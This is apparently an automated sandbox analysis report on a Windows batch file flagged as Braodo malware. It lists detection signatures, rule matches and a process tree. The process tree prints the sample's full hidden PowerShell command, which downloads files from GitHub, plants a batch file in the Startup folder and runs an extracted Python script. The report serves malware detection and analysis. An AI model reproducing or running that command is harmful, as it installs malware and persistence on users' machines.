Edit tour
Windows
Analysis Report
y.bat
Overview
General Information
Detection
Braodo
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Sigma detected: Drops script at startup location
Suricata IDS alerts for network traffic
Yara detected Braodo
Yara detected Powershell download and execute
AI detected suspicious sample
Powershell drops PE file
Sigma detected: Execution from Suspicious Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: PowerShell DownloadFile
Sigma detected: Powerup Write Hijack DLL
Sigma detected: Suspicious Program Location with Network Connections
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Dropped file seen in connection with other malware
Drops PE files
Drops certificate files (DER)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious PowerShell Download - PoshModule
Sigma detected: Usage Of Web Request Commands And Cmdlets
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64
- cmd.exe (PID: 1772 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\y.bat " " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 1496 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 4044 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "[Net. ServicePoi ntManager] ::Security Protocol = [Net.Secu rityProtoc olType]::T ls12; (New -Object -T ypeName Sy stem.Net.W ebClient). DownloadFi le('https: //github.c om/rouki55 5/lnk/raw/ main/ud.ba t', 'C:\Us ers\user\A ppData\Roa ming\\Micr osoft\\Win dows\\Star t Menu\\Pr ograms\\St artup\\Win dowSafety. bat');[Net .ServicePo intManager ]::Securit yProtocol = [Net.Sec urityProto colType]:: Tls12; (Ne w-Object - TypeName S ystem.Net. WebClient) .DownloadF ile('https ://github. com/rouki5 55/dcm/raw /main/Docu ment.zip', 'C:\Users \Public\Do cument.zip '); Add-Ty pe -Assemb lyName Sys tem.IO.Com pression.F ileSystem; [System.I O.Compress ion.ZipFil e]::Extrac tToDirecto ry('C:/Use rs/Public/ Document.z ip', 'C:/U sers/Publi c/Document '); Start- Sleep -Sec onds 1; C: \Users\Pub lic\Docume nt\python C:\Users\P ublic\Docu ment\Lib\s im.py; del C:/Users/ Public/Doc ument.zip" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 6260 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - python.exe (PID: 6264 cmdline:
"C:\Users\ Public\Doc ument\pyth on.exe" C: \Users\Pub lic\Docume nt\Lib\sim .py MD5: A7F3026E4CF239F0A24A021751D17AE2) - cmd.exe (PID: 6492 cmdline:
C:\Windows \system32\ cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - cmd.exe (PID: 1364 cmdline:
C:\Windows \system32\ cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Braodo_1 | Yara detected Braodo | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Braodo_1 | Yara detected Braodo | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Braodo_1 | Yara detected Braodo | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
---|
Source: | Author: Florian Roth (Nextron Systems), Tim Shelton: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |